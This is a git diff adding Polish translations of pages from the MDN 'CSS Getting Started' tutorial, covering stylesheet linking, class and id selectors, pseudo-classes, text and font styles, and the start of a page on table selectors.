+<td> Język znaczników, taki jak HTML, również dostarcza pewnych mechanizmów opisu stylów. Na przykład w HTML-u można użyć znacznika <code>&lt;B&gt;</code>, aby pogrubić tekst albo określić kolor tła strony w znaczniku <code>&lt;BODY&gt;</code>.
+<p>Kiedy używasz CSS, zazwyczaj unikasz stosowania tych funkcji języka znaczników, aby trzymać wszystkie informacje o stylu dokumentu w jednym miejscu.
+</p>
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Tworzenia_arkusza_styl.C3.B3w" name="Zadanie:_Tworzenia_arkusza_styl.C3.B3w"> Zadanie: Tworzenia arkusza stylów </h3>
+<p>Stwórz inny plik tekstowy w tym samym katalogu, co poprzednio.
+Ten plik będzie arkuszem stylów.
+Nazwij go: <code>style1.css</code>
+</p><p>Skopiuj poniższą linię i wklej ją do pliku CSS, a następnie zapisz ten plik:
+</p>
+<div style="width: 40em;">
+<p>strong {color: red;}
+</p>
+</div>
+<h4 id="Wi.C4.85zanie_arkusza_styl.C3.B3w_do_dokumentu" name="Wi.C4.85zanie_arkusza_styl.C3.B3w_do_dokumentu"> Wiązanie arkusza stylów do dokumentu </h4>
+<p>Aby powiązać swój dokument z arkuszem stylów, wyedytuj plik HTML.
+Dodaj pogrubioną linię:
+</p>
+<div style="width: 40em; color: gray;">
+<pre class="eval">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+ &lt;HEAD&gt;
+ &lt;TITLE&gt;Sample document&lt;/TITLE&gt;
+ <strong style="color: black;">&lt;LINK rel="stylesheet" type="text/css" href="style1.css"&gt;</strong>
+ &lt;/HEAD&gt;
+ &lt;BODY&gt;
+ &lt;P&gt;
+ &lt;STRONG&gt;C&lt;/STRONG&gt;ascading
+ &lt;STRONG&gt;S&lt;/STRONG&gt;tyle
+ &lt;STRONG&gt;S&lt;/STRONG&gt;heets
+ &lt;/P&gt;
+ &lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre>
+</div>
+<p>Zapisz ten plik i odśwież widok w swojej przeglądarce.
+Ten arkusz stylów sprawia, że pierwsze litery są czerwone:
+</p>
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
+<td> <strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Poza czerwonym, CSS pozwala używać innych nazw kolorów.
+<p>Bez patrzenia w dokumentację znajdź pięć innych nazw kolorów, które działają w Twoim arkuszu stylów.
+</p>
+</td></tr></tbody></table>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.
+</p><p>Teraz masz już przykładowy dokument powiązany z osobnym arkuszem stylów, jesteś zatem gotów do zrozumienia, jak przeglądarka wiąże je podczas wyświetlania dokumentu:
+<b><a href="pl/CSS/Na_pocz%c4%85tek/Jak_dzia%c5%82a_CSS">Jak działa CSS</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/Why_use_CSS", "fr": "fr/CSS/Premiers_pas/Pourquoi_utiliser_CSS", "it": "it/Conoscere_i_CSS/Perch\u00e9_usare_i_CSS", "ja": "ja/CSS/Getting_Started/Why_use_CSS", "pt": "pt/CSS/Como_come\u00e7ar/Porque_usar_CSS", "zh-cn": "cn/CSS/Getting_Started/Why_use_CSS" } ) }}
diff --git a/files/pl/web/css/na_początek/selektory/index.html b/files/pl/web/css/na_początek/selektory/index.html
new file mode 100644
index 0000000000..521a92b641
--- /dev/null
+++ b/files/pl/web/css/na_początek/selektory/index.html
@@ -0,0 +1,259 @@
+---
+title: Selektory
+slug: Web/CSS/Na_początek/Selektory
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/Building_blocks/Selectors
+---
+<p>Ta strona jest częścią piątą kursu <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started">CSS Getting Started</a>. Wyjaśnia ona jak możesz używać stylów selektywnie, i jak różne typy selektorów mają różne priorytety. Dodasz pewne atrybuty do znaczników w swoim przykładowym dokumencie oraz użyjesz w nim tych atrybutów.</p>
+
+<h3 id="Informacja:_Selektory" name="Informacja:_Selektory">Informacja: Selektory</h3>
+
+<p>CSS posiada własną terminologię do opisania języka CSS. Poprzednio w trakcie tego kursu stworzyłeś(aś) linię w swoim arkuszu stylów w ten sposób:</p>
+
+<div style="width: 30em;">
+<pre>strong {
+  color: red;
+}
+</pre>
+</div>
+
+<p>W terminologii CSS cała ta linia jest <em>regułą</em>. Ta reguła zaczyna się od <code>strong</code>, który jest <em>selektorem</em>. Wybiera, które elementy w drzewie DOM będą używały tej reguły.</p>
+
+<table style="background-color: #f4f4f4; border: 1px solid #3366bb; padding: 1em;">
+ <tbody>
+ <tr>
+ <td>
+ <p><strong>Więcej szczegółów</strong><br>
+ Część wewnątrz nawiasów klamrowych nazywamy się <em>deklaracją</em>.</p>
+
+ <p>Słowo kluczowe <code>color</code> jest <em>własnością</em>, a <code>red</code> jest <em>wartością</em>.</p>
+
+ <p>Średnik po parze własność-wartość oddziela ją od innych par własność-wartość w tym samym opisie.</p>
+
+ <p>Ten kurs odwołuje się do selektorów takich jak <code>strong</code> jako selektorów <em>znaczników</em>. Specyfikacja CSS odwołuje się do nich jako selektorów <em>typu</em>.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Ta strona kursu wyjaśnia więcej na temat selektorów, których możesz używać w regułach CSS.</p>
+
+<p>Dodatkowo do nazw znaczników możesz używać wartości atrybutów w selektorach. To pozwala sprecyzować Twoje reguły.</p>
+
+<p>Dwa atrybuty posiadają specjalny status w CSS. Są to <code>class</code> oraz <code>id</code>.</p>
+
+<h3 id="Selektor_class">Selektor class</h3>
+
+<p>Użycie atrybutu <code>class</code> w znaczniku przypisuje znacznikowi nazwaną klasę. Ty decydujesz jak ją nazwiesz.</p>
+
+<p>W swoim arkuszu stylów wpisz kropkę przed nazwą klasy, kiedy używasz jej w selektorze.</p>
+
+<h3 id="Selektor_ID">Selektor ID</h3>
+
+<p>Użycie atrybutu <code>id</code> w znaczniku przypisuje id do znacznika. Ty decydujesz, jakie <code>id</code> mu nadasz. Nazwa <code>id</code> musi być unikalna w dokumencie.</p>
+
+<p>W swoim arkuszu stylów wpisz znak numeru ("płotek" (ang. hash)) przed tym <code>id</code>, kiedy używasz go w selektorze.</p>
+
+<table style="background-color: #ffffee; border: 1px solid #3366bb; padding: 1em;">
+ <tbody>
+ <tr>
+ <td>
+ <p><strong>Przykłady</strong><br>
+ Ten znacznik HTML posiada zarówno atrybut <code>class</code>, jak i <code>id</code>:</p>
+
+ <div style="width: 30em;">
+ <pre>
+&lt;p class="key" id="principal"&gt;
+</pre>
+ </div>
+
+ <p>Id, <code>principal</code>, musi być unikalne w dokumencie, lecz inne znaczniki mogą używać tej samej nazwy klasy <code>key</code>.</p>
+
+ <p>W arkuszu stylów CSS ta reguła powoduje, że wszystkie elementy klasy <code>key</code> staną się zielone. (Nie wszystkie muszą być elementami <small>P</small>.)</p>
+
+ <div style="width: 30em;">
+ <pre>
+.key {
+ color: green;
+}
+</pre>
+ </div>
+
+ <p>Ta reguła powoduje, że jeden element o id <code>principal</code> zostanie pogrubiony:</p>
+
+ <div style="width: 30em;">
+ <pre>
+#principal {
+  font-weight: bolder;
+}
+</pre>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Jeżeli więcej niż jedna reguła odnosi się do elementu i określa tę samą własność, wtedy CSS nadaje priorytet regule, która posiada bardziej szczegółowy selektor. Selektor id jest bardziej szczegółowy od selektora klasy, który z kolei jest bardziej szczegółowy od selektora znacznika.</p>
+
+<table style="background-color: #f4f4f4; border: 1px solid #3366bb; padding: 1em;">
+ <caption>Więcej szczegółów</caption>
+ <tbody>
+ <tr>
+ <td>Możesz też mieszać selektory, czyniąc je bardziej szczegółowymi.
+ <p>Na przykład selektor <code>.key</code> wybiera wszystkie elementy, które mają klasę o nazwie <code>key</code>. Selektor <code>p.key</code> wybiera tylko elementy P, które mają klasę o nazwie <code>key</code>.</p>
+
+ <p>Nie jesteś ograniczony(a) do dwóch specjalnych atrybutów, <code>class</code> i <code>id</code>. Możesz określać inne atrybuty poprzez użycie nawiasów kwadratowych. Na przykład selektor <code>{{ mediawiki.external('type=button') }}</code> wybiera wszystkie elementy, które mają atrybut <code>type</code> o wartości <code>button</code>.</p>
+
+ <p>W dalszej części kursu (<a href="/pl/CSS/Na_pocz%C4%85tek/Tabele" title="pl/CSS/Na_początek/Tabele">Tabele</a>) można znaleźć informacje na temat złożonych selektorów opartych na wzajemnych relacjach.</p>
+
+ <p>Aby dowiedzieć się więcej o selektorach, zajrzyj na stronę <a class="external" href="http://www.w3.org/TR/CSS21/selector.html">Selektory</a> w specyfikacji CSS.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Jeżeli arkusz stylów posiada sprzeczne reguły i są one równie szczegółowe, wtedy CSS nadaje wyższy priorytet regule, która występuje później w arkuszu stylów.</p>
+
+<p>Gdy napotkasz problem ze sprzecznymi regułami, spróbuj rozwiązać go poprzez ustawienie jednej z reguł jako bardziej szczegółowej, aby można im było nadać priorytety. Jeżeli nie możesz tego zrobić, spróbuj przesunąć jedną z reguł bliżej końca arkusza stylów, aby nadać jej wyższy priorytet.</p>
+
+<h3 id="Zadanie:_U.C5.BCywanie_selektor.C3.B3w_class_i_id" name="Zadanie:_U.C5.BCywanie_selektor.C3.B3w_class_i_id">Zadanie: Używanie selektorów class i id</h3>
+
+<p>1. Wyedytuj swój plik HTML i zduplikuj akapit poprzez skopiowanie i wklejenie go.<br>
+ 2. Następnie dodaj atrybuty <strong>id</strong> i <strong>class</strong> do pierwszej kopii, a potem <strong>id</strong> do drugiej:</p>
+
+<div style="width: 48em; color: gray;">
+<pre><code>&lt;!doctype html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="UTF-8"&gt;
+ &lt;title&gt;Sample document&lt;/title&gt;
+ &lt;link rel="stylesheet" href="style1.css"&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;p id="first"&gt;
+ &lt;strong class="carrot"&gt;C&lt;/strong&gt;ascading
+ &lt;strong class="spinach"&gt;S&lt;/strong&gt;tyle
+ &lt;strong class="spinach"&gt;S&lt;/strong&gt;heets
+ &lt;/p&gt;
+ &lt;p id="second"&gt;
+ &lt;strong&gt;C&lt;/strong&gt;ascading
+ &lt;strong&gt;S&lt;/strong&gt;tyle
+ &lt;strong&gt;S&lt;/strong&gt;heets
+ &lt;/p&gt;
+ &lt;/body&gt;
+&lt;/html</code></pre>
+</div>
+
+<p>Teraz wyedytuj swój plik CSS. Zamień całą treść na:</p>
+
+<div style="width: 40em;">
+<pre><code>strong { color: red; }
+.carrot { color: orange; }
+.spinach { color: green; }
+#first { font-style: italic; }</code></pre>
+</div>
+
+<p>Odśwież okno przeglądarki, aby zobaczyć wynik:</p>
+
+<table style="background-color: white; border: 2px outset #3366bb; padding: 1em;">
+ <tbody>
+ <tr>
+ <td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+ </tr>
+ <tr>
+ <td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Możesz zmieniać kolejność linii w pliku CSS, aby zobaczyć, że kolejność nie ma wpływu na wynik.</p>
+
+<p>Selektory klas <code>.carrot</code> oraz <code>.spinach</code> mają priorytety nad selektorem znaczników <code>strong</code>.</p>
+
+<p>Selektor id <code>#first</code> ma priorytet nad selektorami klas i znaczników.</p>
+
+<table style="background-color: #fffff4; border: 1px solid #3366bb; padding: 1em;">
+ <caption>Wyzwanie</caption>
+ <tbody>
+ <tr>
+ <td>Bez zmieniania pliku HTML dodaj do pliku CSS pojedyncze reguły, które sprawią, że wszystkie początkowe litery będą nadal tego samego koloru, ale cały pozostały tekst w drugim akapicie stanie się niebieski:
+ <table style="border: 2px outset #3366bb; padding: 1em;">
+ <tbody>
+ <tr>
+ <td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+ </tr>
+ <tr>
+ <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <p>Teraz zmień regułę, którą właśnie dodałeś(aś) (bez zmieniania czegokolwiek innego), aby pierwszy akapit też był niebieski:</p>
+
+ <table style="background-color: white; border: 2px outset #3366bb; padding: 1em;">
+ <tbody>
+ <tr>
+ <td style="font-style: italic; color: blue;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+ </tr>
+ <tr>
+ <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zadanie_użycie_pseudo_selectorów">Zadanie: użycie pseudo selectorów</h2>
+
+<ol>
+ <li>Utwórz plik HTML z następują treścią:
+ <pre><code>&lt;!doctype html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="UTF-8"&gt;
+ &lt;title&gt;Sample document&lt;/title&gt;
+ &lt;link rel="stylesheet" href="style1.css"&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;p&gt;Go to our &lt;a class="homepage" href="http://www.example.com/" title="Home page"&gt;Home page&lt;/a&gt;.&lt;/p&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</code></pre>
+ </li>
+ <li>Edytuj plik CSS. Zamień jego treść na:
+ <pre><code>a.homepage:link, a.homepage:visited {
+ padding: 1px 10px 1px 10px;
+ color: #fff;
+ background: #555;
+ border-radius: 3px;
+ border: 1px outset rgba(50,50,50,.5);
+ font-family: georgia, serif;
+ font-size: 14px;
+ font-style: italic;
+ text-decoration: none;
+}
+
+a.homepage:hover, a.homepage:focus, a.homepage:active {
+ background-color: #666;
+}</code></pre>
+ </li>
+ <li>Zapisz pliki i odśwież przeglądarkę aby zobaczyć rezultat (przeciągnij muszkę nad przycisk, aby zobaczyć efekt):
+ <table>
+ <tbody>
+ <tr>
+ <td>Go to our <a href="https://developer.mozilla.org/pl/docs/Web/CSS/Na_pocz%C4%85tek/Selektory$edit#" title="Home page">Home page</a></td>
+ </tr>
+ </tbody>
+ </table>
+ </li>
+</ol>
+
+<h4 id="Co_dalej.3F" name="Co_dalej.3F">Co dalej?</h4>
+
+<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a href="/Talk:pl/CSS/Na_pocz%C4%85tek/Selektory" title="Talk:pl/CSS/Na_początek/Selektory">Dyskusji</a>.</p>
+
+<p>Twój przykładowy arkusz stylów zaczyna wyglądać na zbity i skomplikowany. W następnej części opiszemy jak sprawić, by CSS był łatwiejszy w czytaniu: <strong><a href="/pl/CSS/Na_pocz%C4%85tek/Czytelny_CSS" title="pl/CSS/Na_początek/Czytelny_CSS">Czytelny CSS</a></strong></p>
+
+<p>{{ languages( { "en": "en/CSS/Getting_Started/Selectors", "fr": "fr/CSS/Premiers_pas/Les_s\u00e9lecteurs", "it": "it/Conoscere_i_CSS/I_Selettori", "ja": "ja/CSS/Getting_Started/Selectors", "pt": "pt/CSS/Como_come\u00e7ar/Seletores" } ) }}</p>
diff --git a/files/pl/web/css/na_początek/style_tekstowe/index.html b/files/pl/web/css/na_początek/style_tekstowe/index.html
new file mode 100644
index 0000000000..170f28ef88
--- /dev/null
+++ b/files/pl/web/css/na_początek/style_tekstowe/index.html
@@ -0,0 +1,115 @@
+---
+title: Style tekstowe
+slug: Web/CSS/Na_początek/Style_tekstowe
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/Styling_text/Fundamentals
+---
+<p>
+</p><p>Na tej stronie znajdziesz więcej przykładów stylów tekstowych.
+</p><p>Zmodyfikujesz przykładowy arkusz stylów, aby używał różnych krojów pisma.
+</p>
+<h3 id="Informacja:_Style_tekstowe" name="Informacja:_Style_tekstowe"> Informacja: Style tekstowe </h3>
+<p>CSS posiada kilka własności do określania stylu tekstu.
+</p><p>Istnieje wygodna, krótka własność <code>font</code>, której można użyć do określenia kilku cech na raz — na przykład:
+</p>
+<ul><li>pogrubienia, ustawienia kursywy oraz małych znaków,
+</li><li>rozmiaru,
+</li><li>wysokości linii,
+</li><li>typu fontu.
+</li></ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> <div style="width: 40em;">
+<p>p {font: italic 75%/125% "Comic Sans MS", cursive;}
+</p>
+</div>
+<p>Ta reguła określa kilka własności fontu, sprawiając, że wszystkie akapity będą pisane kursywą.
+</p><p>Rozmiar fontu jest określony jako trzy czwarte rozmiaru każdego nadrzędnego akapitu, a wysokość linii jest określona na 125% (co da trochę więcej przestrzeni).
+</p><p>Typ fontu jest określony jako Comic Sans MS, lecz jeśli ten font nie jest dostępny, wówczas przeglądarka użyje domyślnego fontu kursywy (a'la ręczne pismo).
+</p><p>Ta reguła dodatkowo wyłącza pogrubienie i małe litery (ustawiając je na <code>normal</code>):
+</p>
+</td></tr></tbody></table>
+<h4 id="Typy_font.C3.B3w" name="Typy_font.C3.B3w"> Typy fontów </h4>
+<p>Nie da się przewidzieć, jakie fonty będzie posiadał czytelnik dokumentu.
+Zatem kiedy określasz typy fontów, dobrym pomysłem jest podanie listy alternatywnych.
+</p><p>Listę należy zakończyć jednym z domyślnych, wbudowanych fontów: <code>serif</code>, <code>sans-serif</code>, <code>cursive</code>, <code>fantasy</code> lub <code>monospace</code>, (niektóre z nich pasują do ustawień w opcjach Twojej przeglądarki).
+</p><p>Jeżeli dany typ fontu nie wspiera jakiejś funkcji w dokumencie, wówczas przeglądarka może zmienić go na inny. Na przykład, dokument może posiadać specjalne znaki, których font podstawowy nie obsługuje. Jeżeli przeglądarka znajdzie inny font, który obsługuje te znaki, wówczas zostanie on użyty.
+</p><p>Aby określić wyłącznie typ fontu, użyj własności <code>font-family</code>.
+</p>
+<h4 id="Rozmiary_font.C3.B3w" name="Rozmiary_font.C3.B3w"> Rozmiary fontów </h4>
+<p>Czytelnik używający przeglądarki Mozilla może w opcjach ustawić domyślne rozmiary fontów i zmienić rozmiar tekstu podczas czytania stron, zatem dobrym pomysłem jest używanie relatywnych rozmiarów tam, gdzie tylko się da.
+</p><p>Możesz wykorzystać różne wbudowane wartości dla rozmiarów fontów, jak <code>small</code>, <code>medium</code> czy <code>large</code>. Możesz też użyć wartości relatywnych względem rozmiaru fontu nadrzędnego elementu, na przykład: <code>smaller</code>, <code>larger</code>, <code>150%</code> lub <code>1.5</code>.
+</p><p>Jeżeli trzeba, możesz określić bezpośredni rozmiar: <code>12px</code> (12 pikseli) dla urządzenia wyświetlającego, lub 12pt (12 punktów) dla drukarki. Ten rozmiar jest nominalnie szerokością litery m, ale różne fonty mogą mieć różne rozmiary i możesz inaczej widzieć je względem rozmiaru, który określisz.
+</p><p>Aby określić sam rozmiary fontu, użyj własności <code>font-size</code>.
+</p>
+<h4 id="Wysoko.C5.9B.C4.87_linii" name="Wysoko.C5.9B.C4.87_linii"> Wysokość linii </h4>
+<p>Wysokość linii określa odstępy między liniami.
+Jeżeli Twój dokument posiada długie akapity z wieloma liniami, większe niż normalnie odstępy sprawią, że będzie go łatwiej czytać, zwłaszcza, jeśli rozmiary fontu są małe.
+</p><p>Aby określić samą wysokość linii, użyj własności <code>line-height</code>.
+</p>
+<h4 id="Ozdobniki" name="Ozdobniki"> Ozdobniki </h4>
+<p>Odrębna własność <code>text-decoration</code> może określać inne style, jak <code>underline</code> (podkreślenie) lub <code>line-through</code> (przekreślenie).
+Ustawiając tę własność na <code>normal</code>, usuniesz wszystkie ozdobniki.
+</p>
+<h4 id="Inne_w.C5.82asno.C5.9Bci" name="Inne_w.C5.82asno.C5.9Bci"> Inne własności </h4>
+<p>Aby ustawić kursywę, użyj <code>font-style: italic;</code><br>
+Aby ustawić pogrubienie, użyj <code>font-weight: bold;</code><br>
+Aby określić, że wszystkie litery mają być małymi literami, użyj <code>font-variant: small-caps;</code>
+</p><p>Aby ustawić dowolną z nich indywidualnie, możesz ustawić wartość na <code>normal</code> lub
+<code>inherit</code> (dziedzicz).
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Możesz określić style tekstowe na kilka innych sposobów.
+<p>Na przykład, niektóre własności wymienione w tym rozdziale mają inne wartości, których możesz użyć.
+</p><p>W złożonym arkuszu stylów unikaj używania skrótowej własności <code>font</code>, ponieważ ma to efekty uboczne (resetuje inne własności danego fontu).
+</p><p>Aby zapoznać się ze szczegółami własności fontów, zajrzyj do rozdziału <a class="external" href="http://www.w3.org/TR/CSS21/fonts.html">Fonty</a> w specyfikacji CSS.
+Aby zapoznać się ze szczegółami odnośnie dekoracji tekstu, zajrzyj <a class="external" href="http://www.w3.org/TR/CSS21/text.html">Tutaj</a>.
+</p>
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Okre.C5.9Blanie_fontu" name="Zadanie:_Okre.C5.9Blanie_fontu"> Zadanie: Określanie fontu </h3>
+<p>W prostych dokumentach możesz określić font elementu <small>BODY</small>, a reszta dokumentu będzie dziedziczyć jego ustawienia.
+</p><p>Wyedytuj swój plik CSS.
+Dodaj regułę, która zmieni font.
+Logicznie byłoby umieścić tę regułę na górze pliku CSS, ale będzie ona miała taki sam efekt niezależnie od miejsca położenia:
+</p>
+<div style="width: 40em;">
+<p>body {font: 16px "Comic Sans MS", cursive;}
+</p>
+</div>
+<p>Dodaj komentarz wyjaśniający regułę oraz dodaj białe znaki, aby całość pasowała do Twojego ulubionego schematu.
+</p><p>Odśwież okno przeglądarki, aby zobaczyć efekt.
+Jeżeli Twój system zawiera Comic Sans MS lub inny font kursywy, który nie obsługuje pochylenia, wtedy Twoja przeglądarka wybierze inny typ fontu dla pochylonego tekstu w pierwszej linii:
+</p>
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
+<td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets
+</td></tr>
+<tr>
+<td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+<p>Z paska menu przeglądarki wybierz Widok – Rozmiar tekstu – Powiększ. Nawet jeśli określiłeś(aś) w stylu rozmiar 16 pikseli, użytkownik czytający dokument może zmienić jego rozmiar.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Nie zmieniając nic innego, powiększ dwukrotnie wszystkie sześć pierwszych liter w domyślnym foncie szeryfowym przeglądarki:
+<table>
+<tbody><tr>
+<td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: green; font: 200% serif;">S</strong>tyle <strong style="color: green; font: 200% serif;">S</strong>heets
+</td></tr>
+<tr>
+<td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: red; font: 200% serif;">S</strong>tyle <strong style="color: red; font: 200% serif;">S</strong>heets
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Twój przykładowy dokument korzysta już z kilku nazwanych kolorów.
+Na następnej stronie znajdziesz listę nazwanych, standardowych kolorów oraz opis, jak można określić inne:
+<b><a href="pl/CSS/Na_pocz%c4%85tek/Kolor">Kolor</a></b>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/Getting_Started/Text_styles", "fr": "fr/CSS/Premiers_pas/Styles_de_texte", "it": "it/Conoscere_i_CSS/Stili_del_testo", "ja": "ja/CSS/Getting_Started/Text_styles", "pt": "pt/CSS/Como_come\u00e7ar/Estilos_de_texto" } ) }}
diff --git a/files/pl/web/css/na_początek/tables/index.html b/files/pl/web/css/na_początek/tables/index.html
new file mode 100644
index 0000000000..78f9c67236
--- /dev/null
+++ b/files/pl/web/css/na_początek/tables/index.html
@@ -0,0 +1,596 @@
+---
+title: Tabele
+slug: Web/CSS/Na_początek/Tables
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/Building_blocks/Styling_tables
+---
+<p> </p>
+<p>Ta strona bardziej szczegółowo opisuje selektory oraz sposoby tworzenia stylów dla tabel.</p>
+<p>Stworzysz nowy dokument zawierający tabelę oraz nadasz mu styl.</p>
+<h3 id="Informacja:_Wi.C4.99cej_o_selektorach" name="Informacja:_Wi.C4.99cej_o_selektorach">Informacja: Więcej o selektorach</h3>
+<p>CSS daje wiele sposobów na wybranie elementów, bazując na ich wzajemnych relacjach. Możesz ich użyć, aby stworzyć bardziej dokładne selektory.</p>
+<p>Poniżej znajduje się podsumowanie selektorów bazujące na ich wzajemnych relacjach:</p>
+<table style="margin-left: 2em;">
+ <tbody>
+ <tr>
+ <td style="width: 10em;"><strong>Selektor</strong></td>
+ <td><strong>Wybiera</strong></td>
+ </tr>
+ <tr>
+ <td><code>A E</code></td>
+ <td>Dowolny element E, który jest <b>potomkiem</b> elementu A (to znaczy jest dzieckiem albo dzieckiem dziecka, <i>itp</i>.))</td>
+ </tr>
+ <tr>
+ <td><code>A &gt; E</code></td>
+ <td>Dowolny element E, który jest dzieckiem elementu A</td>
+ </tr>
+ <tr>
+ <td><code>E:first-child</code></td>
+ <td>Dowolny element E, który jest pierwszym dzieckiem swojego rodzica</td>
+ </tr>
+ <tr>
+ <td><code>B + E</code></td>
+ <td>Dowolny element E, który jest następnym z <i>rodzeństwa</i> elementu B (to znaczy: następnym dzieckiem tego samego rodzica)</td>
+ </tr>
+ </tbody>
+</table>
+<p>Możesz łączyć te selektory w złożone relacje.</p>
+<p>Możesz też użyć symbolu <code>*</code> (gwiazdka), który znaczy "dowolny element".</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+ <caption>
+ Przykład</caption>
+ <tbody>
+ <tr>
+ <td>Tabela HTML posiada atrybut <code>id</code>, ale jej wiersze i komórki nie posiadają własnych identyfikatorów:
+ <div style="width: 30em;">
+ <p>&lt;TABLE id="data-table-1"&gt; ... &lt;TR&gt; &lt;TD&gt;Prefiks&lt;/TD&gt; &lt;TD&gt;0001&lt;/TD&gt; &lt;TD&gt;domyślnie&lt;/TD&gt; &lt;/TR&gt; ...</p>
+ </div>
+ <p>Poniższe reguły powodują, że pierwsza komórka w każdym wierszu jest pogrubiona, natomiast druga używa kroju monospace. Dotyczą one tylko jednej, określonej tabeli w dokumencie:</p>
+ <div style="width: 45em;">
+ <ol>
+ <li>data-table-1 td:first-child {font-weight: bolder;}</li>
+ <li>data-table-1 td:first-child + td {font-family: monospace;}</li>
+ </ol>
+ </div>
+ <p>Wygląda to tak:</p>
+ <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <table style="width: 18em; margin-right: 2em;">
+ <tbody>
+ <tr>
+ <td><strong>Prefiks</strong></td>
+ <td>&lt;tt&gt;0001&lt;/tt&gt;</td>
+ <td>domyślnie</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+ <caption>
+ Więcej szczegółów</caption>
+ <tbody>
+ <tr>
+ <td>Kiedy stworzysz bardziej szczegółowy selektor, zazwyczaj wzrośnie jego priorytet.
+ <p>Jeżeli korzystasz z opisanych tu technik, unikasz potrzeby określania atrybutu <code>class</code> lub <code>id</code> w wielu znacznikach dokumentu. Zamiast tego logika zostaje przeniesiona na CSS.</p>
+ <p>W dużych projektach, gdzie prędkość ma duże znaczenie, możesz sprawić, że twój arkusz stylów będzie działał szybciej, poprzez unikanie złożonych reguł, które zależą od relacji między elementami.</p>
+ <p>Aby dowiedzieć się więcej o selektorach, zajrzyj do specyfikacji CSS na stronę <a class="external" href="http://www.w3.org/TR/CSS21/selector.html">Selektory</a>.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<h3 id="Informacja:_Tabele" name="Informacja:_Tabele">Informacja: Tabele</h3>
+<p>Tabela układa informacje w prostokątną siatkę. Niektóre tabele mogą być skomplikowane, a różne przeglądarki mogą pokazywać różne wyniki.</p>
+<p>Kiedy tworzysz swój dokument, użyj tabel do wyrażenia relacji między elementami informacji. Wówczas nie ma znaczenia, jeśli różne przeglądarki wyświetlą je w trochę inny sposób, ponieważ przekaz pozostanie jasny.</p>
